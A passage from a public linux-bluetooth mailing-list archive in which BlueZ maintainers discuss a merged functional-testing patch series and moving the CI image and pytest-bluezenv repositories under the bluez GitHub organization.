>     https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=19a5bbd7eee2
>   - [BlueZ,v7,2/9] test: add functional/integration testing framework
>     https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=fa9390b5cee3
>   - [BlueZ,v7,3/9] build: add functional testing target
>     (no matching commit)
>   - [BlueZ,v7,4/9] test: functional: impose Python code formatting
>     (no matching commit)
>   - [BlueZ,v7,5/9] test: functional: add some Agent1 interface tests
>     (no matching commit)
>   - [BlueZ,v7,6/9] test: functional: add basic obex file transfer tests
>     (no matching commit)
>   - [BlueZ,v7,7/9] test: functional: add tests running the various kernel testers
>     (no matching commit)
>   - [BlueZ,v7,8/9] test: functional: add test for adv_monitor crash
>     (no matching commit)
>   - [BlueZ,v7,9/9] test: functional: add test for AVRCP crash
>     (no matching commit)
>
> You are awesome, thank you!
> --
> Deet-doot-dot, I am a bot.
> https://korg.docs.kernel.org/patchwork/pwbot.html

Do you also have the changes to https://github.com/bluez/action-ci to
enable functional testing? I was going to do it but if you already
done it please submit a PR.


-- 
Luiz Augusto von Dentz

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-09 18:56   ` Luiz Augusto von Dentz
@ 2026-09-10 17:47     ` Luiz Augusto von Dentz
  2026-09-11 16:08       ` Pauli Virtanen
  0 siblings, 1 reply; 20+ messages in thread
From: Luiz Augusto von Dentz @ 2026-09-10 17:47 UTC (permalink / raw)
  To: Pauli Virtanen, Bastien Nocera; +Cc: linux-bluetooth

Hi Pauli.

On Wed, Sep 9, 2026 at 2:56 PM Luiz Augusto von Dentz
<luiz.dentz@gmail.com> wrote:
>
> Hi Pauli,
>
> On Tue, Sep 8, 2026 at 5:48 PM <patchwork-bot+bluetooth@kernel.org> wrote:
> >
> > Hello:
> >
> > This series was applied to bluetooth/bluez.git (master)
> > by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
> >
> > On Sun,  6 Sep 2026 19:49:42 +0300 you wrote:
> > > Add framework for writing tests simulating "real" environments where
> > > BlueZ and other parts of the stack run on different virtual machine
> > > hosts that communicate with each other.
> > >
> > > *** v7 ***
> > >
> > > * Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)
> > >
> > > [...]
> >
> > Here is the summary with links:
> >   - [BlueZ,v7,1/9] doc: add functional/integration testing documentation
> >     https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=19a5bbd7eee2
> >   - [BlueZ,v7,2/9] test: add functional/integration testing framework
> >     https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=fa9390b5cee3
> >   - [BlueZ,v7,3/9] build: add functional testing target
> >     (no matching commit)
> >   - [BlueZ,v7,4/9] test: functional: impose Python code formatting
> >     (no matching commit)
> >   - [BlueZ,v7,5/9] test: functional: add some Agent1 interface tests
> >     (no matching commit)
> >   - [BlueZ,v7,6/9] test: functional: add basic obex file transfer tests
> >     (no matching commit)
> >   - [BlueZ,v7,7/9] test: functional: add tests running the various kernel testers
> >     (no matching commit)
> >   - [BlueZ,v7,8/9] test: functional: add test for adv_monitor crash
> >     (no matching commit)
> >   - [BlueZ,v7,9/9] test: functional: add test for AVRCP crash
> >     (no matching commit)
> >
> > You are awesome, thank you!
> > --
> > Deet-doot-dot, I am a bot.
> > https://korg.docs.kernel.org/patchwork/pwbot.html
>
> Do you also have the changes to https://github.com/bluez/action-ci to
> enable functional testing? I was going to do it but if you already
> done it please submit a PR.

While chatting with @Bastien Nocera he suggested moving
https://github.com/pv/bluez-ci-image/ under bluez organization to make
it easier to manage. Perhaps the same should happen for
https://github.com/pv/pytest-bluezenv.

There is some documentation on how to do it, if you agree, on:
https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository

-- 
Luiz Augusto von Dentz

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-10 17:47     ` Luiz Augusto von Dentz
@ 2026-09-11 16:08       ` Pauli Virtanen
  2026-09-11 16:31         ` Luiz Augusto von Dentz
  0 siblings, 1 reply; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-11 16:08 UTC (permalink / raw)
  To: Luiz Augusto von Dentz, Bastien Nocera; +Cc: linux-bluetooth

Hi,

to, 2026-09-10 kello 13:47 -0400, Luiz Augusto von Dentz kirjoitti:
[clip]
> While chatting with @Bastien Nocera he suggested moving
> https://github.com/pv/bluez-ci-image/ under bluez organization to make
> it easier to manage. Perhaps the same should happen for
> https://github.com/pv/pytest-bluezenv.
> 
> There is some documentation on how to do it, if you agree, on:
> https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository

The plan was that bluez-ci-image would be moved under bluez org. Image
name needs to be updated in the workflow scripts for the image and
action-ci, see
https://github.com/bluez/action-ci/pull/7#issue-4699895038

> There is some documentation on how to do it, if you agree, on:
>
https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository

This appears to require I'm member of the bluez org, as it complains I
don't have permissions to create public repositories there.

***

pytest-bluezenv would need BlueZ organization account on pypi.org so
releases can be done,

https://packaging.python.org/en/latest/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/#trusted-publishing

-- 
Pauli Virtanen

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-11 16:08       ` Pauli Virtanen
@ 2026-09-11 16:31         ` Luiz Augusto von Dentz
  2026-09-11 17:04           ` Pauli Virtanen
  0 siblings, 1 reply; 20+ messages in thread
From: Luiz Augusto von Dentz @ 2026-09-11 16:31 UTC (permalink / raw)
  To: Pauli Virtanen; +Cc: Bastien Nocera, linux-bluetooth

Hi Pauli,

On Fri, Sep 11, 2026 at 12:08 PM Pauli Virtanen <pav@iki.fi> wrote:
>
> Hi,
>
> to, 2026-09-10 kello 13:47 -0400, Luiz Augusto von Dentz kirjoitti:
> [clip]
> > While chatting with @Bastien Nocera he suggested moving
> > https://github.com/pv/bluez-ci-image/ under bluez organization to make
> > it easier to manage. Perhaps the same should happen for
> > https://github.com/pv/pytest-bluezenv.
> >
> > There is some documentation on how to do it, if you agree, on:
> > https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
>
> The plan was that bluez-ci-image would be moved under bluez org. Image
> name needs to be updated in the workflow scripts for the image and
> action-ci, see
> https://github.com/bluez/action-ci/pull/7#issue-4699895038
>
> > There is some documentation on how to do it, if you agree, on:
> >
> https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
>
> This appears to require I'm member of the bluez org, as it complains I
> don't have permissions to create public repositories there.
>
> ***

I've sent you an invite. Let me know if you still can't transfer; then
maybe I need to create the repo or give you more permissions.

> pytest-bluezenv would need BlueZ organization account on pypi.org so
> releases can be done,
>
> https://packaging.python.org/en/latest/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/#trusted-publishing

Ok, I guess you did this for the existing tree, right? Perhaps once we
transfer it, you can request the update under your existing account,
or are you saying we should request a separate account for BlueZ just
in case we need to publish more packages, so we can reuse the BlueZ
account. Btw, once you are a member of BlueZ you can probably submit
an account request on our behalf, anyway I can submit it if you don't
want to do it.

> --
> Pauli Virtanen



-- 
Luiz Augusto von Dentz

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-11 16:31         ` Luiz Augusto von Dentz
@ 2026-09-11 17:04           ` Pauli Virtanen
  0 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-11 17:04 UTC (permalink / raw)
  To: Luiz Augusto von Dentz; +Cc: Bastien Nocera, linux-bluetooth

Hi,

pe, 2026-09-11 kello 12:31 -0400, Luiz Augusto von Dentz kirjoitti:
> Hi Pauli,
> 
> On Fri, Sep 11, 2026 at 12:08 PM Pauli Virtanen <pav@iki.fi> wrote:
> > 
> > Hi,
> > 
> > to, 2026-09-10 kello 13:47 -0400, Luiz Augusto von Dentz kirjoitti:
> > [clip]
> > > While chatting with @Bastien Nocera he suggested moving
> > > https://github.com/pv/bluez-ci-image/ under bluez organization to make
> > > it easier to manage. Perhaps the same should happen for
> > > https://github.com/pv/pytest-bluezenv.
> > > 
> > > There is some documentation on how to do it, if you agree, on:
> > > https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
> > 
> > The plan was that bluez-ci-image would be moved under bluez org. Image
> > name needs to be updated in the workflow scripts for the image and
> > action-ci, see
> > https://github.com/bluez/action-ci/pull/7#issue-4699895038
> > 
> > > There is some documentation on how to do it, if you agree, on:
> > > 
> > https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
> > 
> > This appears to require I'm member of the bluez org, as it complains I
> > don't have permissions to create public repositories there.
> > 
> > ***
> 
> I've sent you an invite. Let me know if you still can't transfer; then
> maybe I need to create the repo or give you more permissions.

It's now at https://github.com/bluez/ci-image

The built image is private currently, I don't have permissions to make
it public which would make testing easier. The visibility can be
changed in Package settings at

https://github.com/bluez/ci-image/pkgs/container/ci-image

> > pytest-bluezenv would need BlueZ organization account on pypi.org so
> > releases can be done,
> > 
> > https://packaging.python.org/en/latest/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/#trusted-publishing
> 
> Ok, I guess you did this for the existing tree, right? Perhaps once we
> transfer it, you can request the update under your existing account,
> or are you saying we should request a separate account for BlueZ just
> in case we need to publish more packages, so we can reuse the BlueZ
> account. Btw, once you are a member of BlueZ you can probably submit
> an account request on our behalf, anyway I can submit it if you don't
> want to do it.

The account would be for publishing releases on pypi.org, I can see to
set it up.

-- 
Pauli Virtanen

^ permalink raw reply	[flat|nested] 20+ messages in thread

end of thread, other threads:[~2026-09-11 17:04 UTC | newest]

Thread overview: 20+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation Pauli Virtanen
2026-09-06 18:29   ` Functional/integration testing bluez.test.bot
2026-09-06 16:49 ` [PATCH BlueZ v7 2/9] test: add functional/integration testing framework Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 3/9] build: add functional testing target Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 4/9] test: functional: impose Python code formatting Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 5/9] test: functional: add some Agent1 interface tests Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 6/9] test: functional: add basic obex file transfer tests Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 7/9] test: functional: add tests running the various kernel testers Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 8/9] test: functional: add test for adv_monitor crash Pauli Virtanen
2026-09-06 16:49 ` [PATCH BlueZ v7 9/9] test: functional: add test for AVRCP crash Pauli Virtanen
2026-09-08 17:48 ` [PATCH BlueZ v7 0/9] Functional/integration testing Luiz Augusto von Dentz
2026-09-08 18:33   ` Pauli Virtanen
2026-09-08 19:20 ` patchwork-bot+bluetooth
2026-09-09 18:56   ` Luiz Augusto von Dentz
2026-09-10 17:47     ` Luiz Augusto von Dentz
2026-09-11 16:08       ` Pauli Virtanen
2026-09-11 16:31         ` Luiz Augusto von Dentz
2026-09-11 17:04           ` Pauli Virtanen
2026-09-08 20:00 ` patchwork-bot+bluetooth

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox